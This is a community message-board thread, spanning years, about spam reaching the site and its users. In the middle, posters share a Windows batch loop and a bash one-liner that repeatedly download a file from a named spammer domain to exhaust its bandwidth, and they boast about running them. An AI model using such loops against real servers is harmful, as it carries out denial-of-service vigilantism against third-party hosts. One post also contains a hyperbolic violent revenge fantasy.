blather_spam typhoid looks like blather's been spammed. or at least my blather email address has. for the first time. sigh. so much for virgin mailboxes. 000731 ... The Schleiffen Man my available mail box is a spam account anyways... has been since 1994. but i check it every day should something worthwhile pop up. especially a klarchen e-mail 000731 ... grendel a combination of mystery meats, junk data, lots of salt and things that not even the most indiscriminate fist_kittens would consider eating although the sock_monkeys have been known to throw it at passers by 000731 ... klarchen Oh, so I am just considered premium graded spam. Hmnf. I wonder how it would feel like to be graded as genuine. Sigh. 000801 ... The Schleiffen Man klarchen, you are not any grade of spam... you just persist in writing to the spam account. i've written you from my real account befored, only to see the replies come to the hotmail account... 000801 ... u24 i'm talking about the automated type of spam as in that found at what_would_you_say and a few other pages I can't seem to find right now. I can code a program to sit in your status bar and repeatedly hit their servers. it'll eat your bandwidth (but I'll of course provide a 'pause' function) but if enough people use it it'll cause the spammers some grief. let me know. 060506 ... mt and this is why i lurve you. 060506 ... u24 *sigh* i know it's not ethical, I know that I should just leave it to law enforcement etc etc, but I don't think they're effective at all (spammers operate in countries where the law isn't so harse on spamming, plus gathering evidence is hard). anyway, I wrote a small script to repeatedly download an email-harvesting application from spammer website. download wget () and then save this as spam.bat in the wget directory: :start wget http://www.northworks.biz/install_ms_shareware.exe -O c:\foo goto start if you're behind a proxy, use this: set http_proxy=http://yourproxyhere :start wget http://www.northworks.biz/install_ms_shareware.exe --proxy-user=yourproxyusername --proxy-pass=yourpassword -O c:\foo goto start the wget line (up to but not including "goto start") should be all on one line use Ctrl-C to pause or stop it. At some point I'll develop this into something better (more targets, anonymous proxy lists, etc, etc) in the mean time, get some revenge :-) 060508 ... u24 download wget from http://www.gnu.org/software/wget /index.html#downloading 060508 ... anne-girl for i in `seq 1 100`; do wget http://northworks.biz/install_ec_shareware.exe -O /dev/null --limit-rate=10k; done :) 060508 ... u24 yupyupyup, ran mine most of yesterday. muhaha. :-) 060509 ... u24 i'm now hitting pc_shareware as it's twice the size, doesn't make a huge difference because obviously I'm now requesting it at half the speed... 060509 ... u24 you might be interested in the blue security 'stuff' that's happening at the moment; see http://tinyurl.com/kznm7 and http://tinyurl.com/owk2c 060509 ... u24 sorry, make that last one http://tinyurl.com/phrsp 060509 ... u24 www.northworks.biz now redirects to their hosting company. 060510 ... p2 u24 you never fail to impress me 060510 ... u24 eh, i didn't do much at all really. There are people around doing a *lot* more damage than I could have done. I can provide more links if interested ;) ... but thanks :-) 060510 ... u24 thescambaiter.com thecarpcstore.com/phpbb2/ and lots more I'm researching (in between revising for my exams..). There's also a group who do honeypot and malware analysis which sounds pretty interesting :-) more links at http://tinyurl.com/qz3kn I'll put a 'spam' tag up on my del_ico_us with more links later I didn't knock northworks offline if that's what you were thinking; i think their bandwidth just peaked, or their hosting company got touchy.. i'm hosting a mirror of the specialham forum (they turned off access and their site has been on and off for a while) at puremango.co.uk/printable.htm yay for questionable ethics! 060510 ... u24 ok, so now I'm spamming blather with antispam links, but: http://tinyurl.com/ffqr7 shadowserver.org 060510 ... meta meta 060521 ... u24 blogthing.googlepages.com/spam.html all urls I've found that have been spammed to blather blogthing.googlepages.com/spam.html a reduced list that only lists domains and subdomains 060523 ... u24 make that second one blogthing.googlepages.com/spam2.html 060523 ... seriously all previous blather_spam allegations pale in comparison to those occuring at ___ wikipedia ___ 060523 ... u24 indeed. sage_and_dallas have the power to ban IP addresses.. and/or make the list of IP addresses public... *evil grin* 060523 ... Photophobe Why is me telling blather about my band _particularly_ in a blathe entitled shameless_self_promotion considered spam? Its not like I'm emailing you user... 060523 ... u24 it's not. look at the posts above yours. 060524 ... Photophobe Oh. Erm. Very well. Carry on. :) 060525 ... u24 silly billy :-) 060526 ... u24 northworks is back online :( 060531 ... u24 see: guest 060929 ... it still annoys the crap out of me. 061005 ... u24 ..... and people accused kx21 of spamming..... 061012 ... Wasandru And ME. (And others, too.) 061012 ... Floptolemy I'm no Unknown Guestbook Add-er! 061012 ... Ick. Ick. Ick. "Guest" is now 2.2mb in size. 061012 ... endless desire i hope the blather_gods give out their IP address. now that would be fun. spamming really pisses me off. 061012 ... u24 ---------- pages with spam remaining after dallas cleaned up and put the captcha in place ---------- miss guest add alonzo add your findings as you find them. 061025 ... u24 rather than letting dallas know as and when they're found, I thought it better to get a collection of pages requiring attention and have them reverted in bulk; this would save his time and give us a record as to the extent of the problem. 061025 ... I Ask You This : Should we save them as a relic? The spam never achieved ubiquity. 061026 ... u24 I was wondering the same, preserve for the future. I could care more. 061026 ... in a silent way whenever i hit the "go" button and come across this stuff (and i'm talking about the *real* spam, like the yahoo search bullshit), it makes me want to track down the person responsible for it and hammer nails into every single tender part of their body. maybe that's a little harsh. but hey, they cut jagged scars into something that is, for the most part, beautiful. that kind of disrespect and abuse of the freedom this place allows...well, it bothers me. on another level, the scars make me appreciate the beautiful parts that much more. because in the end, all that spam amounts to little more than a pimple on a giant blue body. gentle but thorough exfoliation, followed by adequate moisturization. that's the key. 130123 ... delxa trying to take new forms notdoingsowell aktually whatevs I'll be here with my GMO-free artisanal cheesy poofs and handwrought cocktail 160611 what's it to you? who go blather from